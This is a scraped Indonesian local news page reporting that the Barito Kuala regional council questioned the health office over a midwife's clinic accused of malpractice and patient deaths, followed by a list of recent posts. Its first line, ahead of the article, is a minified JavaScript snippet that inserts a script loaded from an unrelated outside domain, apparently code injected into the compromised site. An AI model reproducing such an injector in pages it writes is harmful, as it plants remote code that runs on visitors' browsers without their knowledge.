(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Kuala

DPRD Batola Awasi Malpraktik Bersalin Yang Akibatkan Pasiennya Meninggal Dunia


KANALKALIMANTAN.COM, MARABAHAN – DPRD Kabupaten Barito Kuala tindak lanjuti aduan masyarakat, terkait adanya dugaan malapraktik Klinik Bersalin yang kerap menelan korban jiwa.

Dalam rapat kerja komisi gabungan dengan Dinas Kesehatan (Dinkes) itu Ketua Komisi II DPRD Batola Nanang Kaderi mempertanyakan pengawasan Dinkes atas laporan masyarakat tersebut.

“Terkait praktik Bidan Mirna sudah ditindaklanjuti Dinas Kesehatan dengan melakukan penerbitan surat rekomendasi penutupan klinik,” ungkapnya, Senin (13/03/2023).

Ia juga menekankan, Dinkes harus mempunyai data dan jaringan hingga ke desa, agar pengawasannya bisa ditingkatkan, guna dapat menjalankan fungsi dan tugas sebagai pelayan masyarakat.

 

Baca juga: Pasar Murah di Sungai Miai, Tebus Rp 45 Ribu Bawa Sembako Senilai Rp 150 Ribu

“Ini membuktikan kepada masyarakat dengan adanya laporan kita langsung menindaklanjuti memanggil dinas terkait,” tambahnya.

Sementara itu, Kepala Dinas Kesehatan Batola dr. Azizah mengatakan, pihaknya mengakui menerima laporan bahwa Klinik Bidan Mirna melakukan sesuatu tindakan diluar kewenangan, sehingga dilaporkan oleh masyarakat.

Setelah melakukan evalusi, pihaknya menerbitkan surat ke Dinas Penanaman Modal, Perizinan Terpadu Satu Pintu untuk dapat melakukan penutupan sementara izin praktik.

“Sampai dengan hari ini, ternyata masih terdapat hal-hal yang masih tidak sesuai dengan yang kita sarankan, hingga pengaduan sampai ke DPRD Batola,” beber dr. Azizah.

Selanjutnya kedepan pihaknya akan memperkuat pemantauan selama 6 bulan berjalan, dan dengan dorongan DPRD, pihaknya akan melayangkan surat rekomendasi untuk menutup permanen.

“Berdasarkan laporan, korbannya bukan hanya di wilayah Batola, tapi di luar Batola, tapi prakteknya di Batola,” tambahnya.

Baca juga: Truk Fuso Nyemplung di Sungai Lamandau, Sopir Belum Ditemukan

Kepala Dinkes menguraikan, di antara kasus yang dilaporkan adalah kesalahan pemasangan alat kontrasepsi dalam rahim, kemudian juga ada ibu hamil yang seharusnya ditangani rumah sakit namun ditanggulangi sendiri hingga mengakibatkan meninggal dunia.

“Selain itu, mungkin ada beberapa juga yang meninggal dunia berdasarkan informasi yang dihimpun, namun juga ada yang tidak melapor,” pungkasnya.(kanalkalimantan.com/rdy)

Reporter : Rdy
Editor : KK


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.